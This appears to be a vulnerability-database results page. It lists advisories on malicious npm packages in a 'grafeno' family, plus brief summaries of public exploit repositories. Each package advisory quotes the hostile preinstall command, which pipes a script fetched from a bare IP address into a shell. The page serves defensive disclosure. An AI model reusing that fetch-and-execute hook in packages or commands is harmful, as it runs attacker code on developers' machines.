Lucene search
+L
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Settings
Sign in
🔥 Daily Hot!
💪🏽 CPE Enhanced Advisories
🕶 Shadow Exploits
🕵🏼 Vulners CPE
🔐 Security news
💻 Exploit updates
📑 Blogs review
🐧 Linux vulnerabilities
🐞 Bugbounty
🤖 AI High Score
📰 CVE Feed
show all

591255 matches found

OSSF Malicious Packages
OSSF Malicious Packages•added 2026/08/28 11:02 p.m.•8 views

Malicious code in grafeno-api (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6324266ac0f7a76fc3a8e8209d194daa17bdd47c913207f218f7c1683db4333c package.json declares a preinstall script that shells out via childprocess to curl http://216.126.236.46/x.sh and pipe the response into /bin/bash,...

6AI score
SaveExploits0References2
OSV
OSV•added 2026/08/28 11:02 p.m.•8 views

MAL-2026-15501 Malicious code in grafeno-api (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6324266ac0f7a76fc3a8e8209d194daa17bdd47c913207f218f7c1683db4333c package.json declares a preinstall script that shells out via childprocess to curl http://216.126.236.46/x.sh and pipe the response into /bin/bash,...

6AI score
SaveExploits0References2
OSV
OSV•added 2026/08/28 11:01 p.m.•8 views

MAL-2026-15503 Malicious code in grafeno-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6 package.json declares a preinstall script that runs curl against a bare IP over plain HTTP http://216.126.236.46/x.sh and pipes the response to sh,...

6.3AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages•added 2026/08/28 11:01 p.m.•8 views

Malicious code in grafeno-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6 package.json declares a preinstall script that runs curl against a bare IP over plain HTTP http://216.126.236.46/x.sh and pipes the response to sh,...

6.3AI score
SaveExploits0References1
OSV
OSV•added 2026/08/28 11:01 p.m.•6 views

MAL-2026-15502 Malicious code in grafeno-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a package.json declares a preinstall hook that shells out via node -e / childprocess to curl http://216.126.236.46/x.sh over plain HTTP and pipes the...

6.1AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages•added 2026/08/28 11:01 p.m.•8 views

Malicious code in grafeno-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a package.json declares a preinstall hook that shells out via node -e / childprocess to curl http://216.126.236.46/x.sh over plain HTTP and pipes the...

6.1AI score
SaveExploits0References1
OSV
OSV•added 2026/08/28 11:01 p.m.•7 views

MAL-2026-15506 Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

6.4AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages•added 2026/08/28 11:01 p.m.•10 views

Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

6.4AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages•added 2026/08/28 11:01 p.m.•9 views

Malicious code in spc-grafeno (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1 The package's preinstall lifecycle script runs curl -s 216.126.236.46/x.sh | sh via /bin/bash at npm install time, executing attacker-controlled code...

6.3AI score
SaveExploits0References1
OSV
OSV•added 2026/08/28 11:01 p.m.•7 views

MAL-2026-15522 Malicious code in spc-grafeno (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1 The package's preinstall lifecycle script runs curl -s 216.126.236.46/x.sh | sh via /bin/bash at npm install time, executing attacker-controlled code...

6.3AI score
SaveExploits0References1
OSSF Malicious Packages
OSSF Malicious Packages•added 2026/08/28 11:01 p.m.•11 views

Malicious code in grafeno-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an...

5.9AI score
SaveExploits0References2
OSV
OSV•added 2026/08/28 11:01 p.m.•7 views

MAL-2026-15505 Malicious code in grafeno-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an...

5.9AI score
SaveExploits0References2
OSV
OSV•added 2026/08/28 11:01 p.m.•8 views

MAL-2026-15507 Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

6.1AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages•added 2026/08/28 11:01 p.m.•8 views

Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

6.1AI score
SaveExploits0References2
Kitploit
Kitploit•added 2026/08/28 10:57 p.m.•1 views

CVE-2014-6271-Shellshock

CVE-2014-6271 Shellshock xpl0ited von infrar3d Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2014-6271 Shellshock. Shellshock ist eine kritische Schwachstelle in GNU Bash, bei der speziell präparierte Umgebungsvariablen die Ausführung beliebiger Befehle ermöglichen. Wenn ein...

10CVSS7.2AI score0.99999EPSS
SaveExploits138References1
Kitploit
Kitploit•added 2026/08/28 10:56 p.m.•2 views

CVE-2026-46300_Fragnesia

🧨 Fragnesia — CVE-2026-46300 Linux Kernel LPE Audit & Exploit Toolkit · Page-Cache / XFRM ESP-in-TCP espintcp Regression Interaktives Audit → Erkennung der LPE-Voraussetzungen → Automatische Exploit-Ausführung nach Bestätigung ⚠️ Ethische & rechtliche Warnung Dieses Tool ist ausschließlich für...

7.8CVSS7.2AI score0.09481EPSS
SaveExploits14
Kitploit
Kitploit•added 2026/08/28 10:56 p.m.•3 views

CVE-2025-49132

Impatto Utilizzando il file /locales/locale.json con i parametri di query locale e namespace, un attore malintenzionato è in grado di eseguire codice arbitrario, senza essere autenticato. Con la possibilità di eseguire codice arbitrario, questa vulnerabilità può essere sfruttata in un numero...

10CVSS5.9AI score0.53389EPSS
SaveExploits30
Kitploit
Kitploit•added 2026/08/28 10:56 p.m.•3 views

CVE-2022-42475-POC

CVE-2022-42475 Contesto Questo è l'exploit per il post del blog qui: https://bishopfox.com/blog/exploit-cve-2022-42475 Versione redatta Questa versione dell'exploit non funzionerà senza che tu, l'hacker, fornisca gli indirizzi di memoria necessari per i gadget ROP, ecc. Il lavoro per determinare...

9.8CVSS7.4AI score0.99474EPSS
SaveExploits12References1
Kitploit
Kitploit•added 2026/08/28 10:56 p.m.•3 views

ubl-itel-s23

Sblocca Bootloader — Itel S23 S665L / Unisoc T606 Guida per sbloccare il bootloader su Itel S23 S665L utilizzando l'exploit CVE-2022-38694 sul chipset Unisoc T606 UMS9230. Informazioni sul Dispositivo Proprietà| Valore ---|--- Marchio| Itel Modello| S665L S23 Android| 12 SDK 31 Build|...

7.8CVSS5.9AI score0.00586EPSS
SaveExploits2References8
Kitploit
Kitploit•added 2026/08/28 10:55 p.m.•5 views

CVE-2025-64446

🛡️ CVE-2025-64446 - FortiWeb Kritische Authentifizierungsumgehung & Pfad-Traversal Kritische nicht authentifizierte Sicherheitslücke, die es entfernten Angreifern ermöglicht, Administratorkonten auf FortiWeb-Geräten zu erstellen. 📌 Überblick CVE-2025-64446 ist eine schwerwiegende relative...

9.8CVSS7.4AI score0.91838EPSS
SaveExploits18
Rows per page
Query Builder